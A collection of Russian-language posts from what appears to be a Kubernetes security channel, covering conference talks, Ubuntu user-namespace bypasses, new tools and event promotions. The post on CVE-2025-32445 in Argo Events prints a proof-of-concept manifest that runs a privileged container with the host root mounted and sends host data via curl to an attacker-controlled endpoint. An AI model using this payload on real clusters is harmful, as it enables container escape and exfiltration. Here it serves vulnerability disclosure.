В преддверии KubeCon Europe 2025 прошел Cloud Native Rejekts Europe 2025 и уже доступны все записи докладов:
- Первый день зал The Nash
- Первый день зал The Waterloo
- Второй день зал The Nash
- Второй день зал The Waterloo

Отдельно отметить доклады:
- Kyverno Chronicles: A DevSecOps Tale
- Immutable Turtles All the Way Down – Image-Based Kubernetes to power In-Place Updates
- The future of configurability in Kubernetes with Common Expression Language (CEL)
- Pod Deep Dive: Everything You Didn't Know You Needed to Know
- What I wish I knew about container security
- Who Secures the Service Mesh? Mind the Gap in Your Mesh
- Securing AI/ML Workflows: Optimizing Container Images in Kubernetes Environments
- The Service Mesh Wars: A New Hope for Kubernetes
- The Kubernetes Guardians: A Deep Dive Into Your Security Avengers
- API-Driven Security Automation for AKS: Falco Talon meets eBPF-powered Retina

Смотреть, не пересмотреть, но мы вам позже обо всем этом расскажем ;)

С 30 по 31 марта в Лондоне, в предверии KubeCon Europe 2025, прошла конференция Cloud Natvie Rejekts Europe 2025. Для тех кто не знает, напомним – на этой конференции спикеры это те люди, которых не взяли в основную программу KubeCon.

Securing AI/ML Workflows: Optimizing Container Images in Kubernetes Environments – доклад, который не остался незамеченным. В нём, Wojciech Kocjan, рассказывает как готовить тонкие образы для AI / ML нужд – минимизируя ненужные зависимости, выбирая безопасные базовых образы, и оптимизируя время сборки.

Доклад доступен в записи трансляции.

В официальном блоге Kubernetes вышла статья "Kubernetes v1.33 sneak peek", посвященная предстоящему релизу новой версии. С точки зрения безопасности этот релиз примечателен тем, что в нем наконец-то спустя 9 лет до GA доберётся KEP-127: Support User Namespaces in pods! И это прям очень круто для безопасности контейнеров в Kubernetes - можно сказать настоящая веха и понятия root пользователя будет делиться на до этого момента и после этого момента) Почему именно так? Можно ознакомиться в прошлогоднем докладе с нашей конференции БеКон под названием "Linux user namespace в чертогах Kubernetes".

Подготовка к нашей конференции БеКон 2025 идет полным ходом: программа формируются, партнеры подписываются, первый мерч готовится, стикерпак печатается!

До 3 июня уже не так-то и много времени осталось и возможность взять билеты по самой низкой цене ;)

P.S. Билетов ограниченное количество, все с учетом размеров площадки, чтобы всем было комфортно.

Сегодня еще один пост про Linux user namespace ;)

Но уже про баги, точнее про обход механизма безопасности, который придумали и внедрили разработчики Ubuntu в свою ОС (в других ОС такой механизм вообще отсутствует). Оригинальный материал в заметке от исследователей называется "Three bypasses of Ubuntu's unprivileged user namespace restrictions" и описывает 3 способа обхода механизма sysctl kernel.apparmor_restrict_unprivileged_userns, через:
1) aa-exec
2) busybox
3) LD_PRELOAD

Если кратко, то задача данного механизма в том чтобы когда непривилегированный пользователь создавал unprivileged user namespace в нем не содержалось опасных административных capabilities (типа CAP_SYS_ADMIN или CAP_NET_ADMIN), которые чрезвычайно увеличивают поверхность атаки на ядро ОС.

Получение таких привилегий может в дальнейшем использоваться для ядерных эксплойтов, например чтобы сбежать из контейнера. О таком мы уже рассказывали тут.

Недавно прошел KubeCon + CloudNativeCon Europe 2025 и видео еще не доступны, но есть уже слайды по некоторым докладам.

Хочется отметить доклад "Enhancing Software Composition Analysis Resilience Against Container Image Obfuscation", который продолжает тему сокрытия уязвимостей в образах контейнеров. Мы писали об этом тут, тут и тут. Но на этот раз ребят подошли тут к вопросу с академической точки зрения и со всеми соответствующими атрибутами этого. И у них получилось отлично дополнить картину прошлых работ. Также они выложили репозитарий с кодом "Container obfuscation benchmark", чтобы можно было повторить их эксперимент.

В очередной раз хочется сказать, что стройте ZeroTrust защиту, а не вокруг управления уязвимостями - они были, есть и будут (их еще и спрячут от вас).

P.S. Ближайшие 2 дня наша команда на DevOpsConf 2025 - будем рады пообщаться лично!

Сегодня хотим поделиться с вами статьей Signed container images in Kubernetes with Sigstore and HashiCorp Vault.

В ней автор рассказывает о том, как можно использовать подписанные docker images совместно с Vault, а именно более подробно говорит про:

- написание политик
- конфигуририрование Vault
- подпись и верификация container image
- загрузка подписи в репозиторий
- конфигурирование image signing policies через CRD

Давайте сегодня познакомимся с online-площадками, где можно потренироваться в написании политик для Policy Engine как внешних по отношению к Kubernetes, так и встроенным:

1) Kyverno Playground - очевидно что для политик для Kyverno как на YAML, так и на CEL
2) Rego Playground - для политик OPA Gatekeeper на Rego (хотя OPA Gatekeeper уже поддерживает и CEL)
3) CEL Playground - для политик Validating Admission Policy на CEL

Думаем что легко можно заметить сильное влияние Kubernetes Validating Admission Policy, появившегося в GA в 1.30, с его CEL.

P.S. Если вы по сей день не используете никакой из этих 3-х движков, то непонятно как вы строите безопасность Kubernetes кластера ....

Всем, привет!

Хотим напомнить, что с завтрашнего дня будет повышение цен на билеты на нашу конференцию по БЕзопасности КОНтейнеров и Kubernetes - БеКон!

Прием заявок на доклады уже остановлен, идет их анализ и уже совсем скоро мы начнем их постепенно публиковать ;)

Сегодня хотим поделиться очередным новым проектом с просторов GitHub – Dracan. Довольно сложно описать Dracan одним предложением, однако скорее его можно отнести к чему-то между Authorization Policy от Istio, Network Policy и WAF. Сейчас он умеет следующее:

- HTTP Method Filtering
- JSON Validation
- Request Limiting
- Payload Limitation
- URI Filtering
- Header Validation

Авторы позиционируют его как легковесный инструмент, для эксплуатации которого не нужен опыт настройки WAF или большая DevOps экспертиза.

В Open Source версии Calico 3.30 появится собственный web-based графический интерфейс для просмотра и фильтрации flow логов для разбора проблем с соединениями и анализа работы NetworkPolicy. Данный компонент называется Whisker и состоит из трех компонентов:
1) Whisker UI - фронтенд
2) Whisker backend - бэкенд для получения данных
3) Goldmane - gRPC API server

Начинаем эту неделю с интересной статьи – Cloud Digital Forensics and Incident Response — Elastic Kubernetes Service Takeover Leads to Cryptominer Deployment.

В ней автор, на примере вымышленной истории, рассказывает как можно проводить форензику в AWS. Не смотря на то, что история вымышлена, в ней приводятся реальные техники атакующих – web application command injection, Instance Metadata Service (IMDS) access, JSON Web Token (JWT) abuse, и valid credential abuse.

Также автор показывает как расследовать такой инцидент, используя web server logs, container logs, CloudWatch Kubernetes logs, и CloudTrail logs.

Мало хорошо разбираться в Kubernetes и его безопасности - он все равно тебя сможет рано или поздно удивить. И в таких ситуациях важно знать кто может подсказать в том или ином вопросе ;) Одним из людей к которым я периодически обращаюсь является Миша Петров и он не так давно завел свой канал по k8s и не только - Azalio_tech.

И тут хотелось бы обратить ваше внимание на его последний пост про отключение анонимного доступа к kube-apiserver, но оставляя health checks! Оказывается это возможно, но только придется похимичить с конфигами на новых версиях куба 1.31, 1.32.

Про опасность анонимного доступа и почему его важно отключать мы писали ранее тут и тут.

22 апреля в 11:00 наша команда Luntry проведет вебинар «Безопасность контейнеров и Kubernetes для специалистов анализа качества».

Вы можете задаться вопросом кого мы понимаем тут под специалистами анализа качества? Это специалисты, которым приходится проводить:
- Приёмо-сдаточные испытания (ПСИ) как для внутренних разработок, так и внешних/заказных
- Сертификацию программного обеспечения
- Разбираться с "черными ящиками"

И все это, конечно, в контейнерном исполнении для Kubernetes. И естественно мы покажем как эту нетривиальную задачу можно очень просто решить с помощью нашего решения Luntry.

Зарегистрироваться можно здесь.

P.S. Этот вебинар продолжение серии вебинаров, которые уже показывали как Luntry может помочь CISO и SOC. Далее еще будет для DevSecOps специалистов, разработчиков, безопасников, отвечающих за сетевую безопасность и т.д.

Вселенная Argo не ограничивается только лишь Argo CD. Так например, совсем недавно была раскрыта уязвимость CVE-2025-32445 с оценкой 10/10 по CVSS в Argo Events, позволяющая пользователю с правами на создание кастомных ресурсов EventSource и Sensor сбежать из контейнера и получить полный контроль над кластером.

Всё дело в том, что Argo Events обрабатывал поля securityContext (и другие) в EventSource, хотя этого не было явно указано в документации. В качестве PoC исследователь приложил следующий YAML манифест, в результате которого на сервер атакующего отправится hostname хоста и листинг /run/containerd/containerd.sock:

apiVersion: argoproj.io/v1alpha1
kind: EventSource
metadata:
  name: poc-vulnerable-eventsource
spec:
  webhook:
    security-test:
      port: "12000"
      endpoint: "/webhook"
  template:
    container:
      image: ubuntu:latest
      command: ["/bin/bash"]
      args: [
        "-c",
        "apt-get update && apt-get install -y curl && while true; do
         rm -f /tmp/data;
         echo '=== containerd socket ===' > /tmp/data 2>&1;
         ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1;
         echo '=== proof of host access ===' >> /tmp/data 2>&1;
         cat /host/etc/hostname >> /tmp/data 2>&1;
         curl -X POST --data-binary @/tmp/data http://<attacker-controlled-endpoint>:8000/;
         sleep 300;
         done"
      ]
      securityContext:
        privileged: true
        capabilities:
          add: ["SYS_ADMIN"]
      volumeMounts:
        - name: host-root
          mountPath: /host
    volumes:
      - name: host-root
        hostPath:
          path: /

В версии 1.9.6 уязвимость исправили, разрешив пользователю ограниченно выставлять .spec.template.container.

Стали доступны видеозаписи (378 штук) и слайды с KubeCon + CloudNativeCon Europe 2025!

Следующие KubeCon + CloudNativeCon в этом году будут:
- Hong Kong, China (June 10-11);
- Tokyo, Japan (June 16-17);
- Hyderabad, India (August 6-7);
- Atlanta, US (November 10-13).

P.S. А 3 июня в Москве состоится БеКон 2025 ;)

Мы начинаем публиковать доклады с программы БеКон 2025!

1) "Без секретов! Workload Identity Federation: безопасная аутентификация в облаке" (Дмитрий Лютов, Yandex Cloud)

Строить безопасность в облаке без механизма Workload Identity очень сложная задача. И если в западных облаках его наличие уже само собой разумеющееся, то в наших просторах далеко не все вообще знают что это за зверь такой. Задача этого доклада рассказать как опасно жить без него, как он устроен и как спасает.

2) "Неочевидные и непонятные моменты безопасности Kubernetes" (Дмитрий Евдокимов, Luntry)

Рабочее название доклада было "Ворчание старого деда про k8s security". А лейтмотивом стали вопросы на тренингах "Почему так?", "Почему до сих пор так?", "Почему не иначе?", "Доколе?" и т.д. В итоге, сформировался список таких моментов.

За детальным описанием можно обратиться сюда.

Исследователи из Trend Micro, обнаружившие CVE-2025-23359 (bypass после фикса CVE-2024-0132 о которой мы рассказывали тут) выпустил статью Incomplete NVIDIA Patch to CVE-2024-0132 Exposes AI Infrastructure and Data to Critical Risks, в которой раскрыли некоторые подробности.

Так например, они обнаружили некоторые проблемы производительности при использовании нескольких mount в контейнере, которые могут привести к DoS (о той же проблеме производительности независимо сообщили moby и NVIDIA):

1. Когда новый контейнер создается с несколькими маунтами, настроенными с помощью (bind-propagation=shared), устанавливаются несколько родительских/дочерних путей. Однако связанные записи не удаляются из таблицы монтирования Linux после завершения работы контейнера.

2. Это приводит к быстрому и неконтролируемому росту таблицы монтирования, исчерпывая доступные файловые дескрипторы (fd). В конце концов Docker не может создавать новые контейнеры из-за исчерпания fd.

3. Эта чрезмерно большая таблица монтирования приводит к серьезным проблемам с производительностью, не позволяя пользователям подключаться к хосту (например, через SSH).

Основываясь на этом были раскрыты некоторые детали для эксплуатации CVE-2025-23359 (но PoC так и не предоставили):

1. Злоумышленник создает два вредоносных образа контейнера, соединенных друг с другом с помощью символической ссылки volume.
2. Злоумышленник запускает образ на платформе жертвы напрямую или косвенно
3. Это позволяет злоумышленнику получить доступ к файловой системе хоста через состояние гонки.
4. Используя этот доступ, злоумышленник впоследствии может получить доступ к сокетам Container Runtime Unix для выполнения произвольных команд с привилегиями root, т. е. получить полный удаленный контроль над скомпрометированной системой.

Рады представить новую статью в блоге про то, как наше решение Luntry помогает справиться с нашумевшим IngressNightmare!

Помимо того, что мы детально разбираем сам процесс эксплуатации, так и показываем как с помощью Luntry можно защититься абсолютно на всех уровнях и так как умеем только мы! Обнаружить и предотвратить это с помощью:
- Сканирования образа
- Runtime защиты в гибридном формате
- Генерации NetworkPolicy

По сути можно было даже защититься (обнаружить и предотвратить), когда эти уязвимости были 0day!

P.S. Кстати не так давно мы обновили наш сайт и лого. Как вам ?)

P.S.S. Уже завтра состоится вебинар «Безопасность контейнеров и Kubernetes для специалистов анализа качества»

Мы продолжаем публиковать доклады с программы БеКон 2025!

1) "Расширение политик фильтрации трафика в Cilium" (Антон Баранов, ГК Астра)

Придумывать свои кастомные механизмы для сетевой безопасности в Kubernetes в обход CNI это прям признак дурного тона, не говоря уже о вреде для производительности и стабильности. В рамках же этого доклада вы узнаете как ребята все сделали по красоте: добавили свой eBPF код в Cilium, добавили в ресурс CiliumNetworkPolicy нужные поля, доработали Hubble.

2) "Чем собирать контейнеры если вы параноик?" (Михаил Кожуховский, Flowmaster)

Говоря про безопасность контейнеров, нельзя обходить стороной процесс сборки образов. Делая это не правильно, можно поплатиться компрометацией системы... При этом решений с каждым днем все больше - выбор не простой, но этот доклад вам поможет определиться.

За детальным описанием выступлений можно обратиться сюда.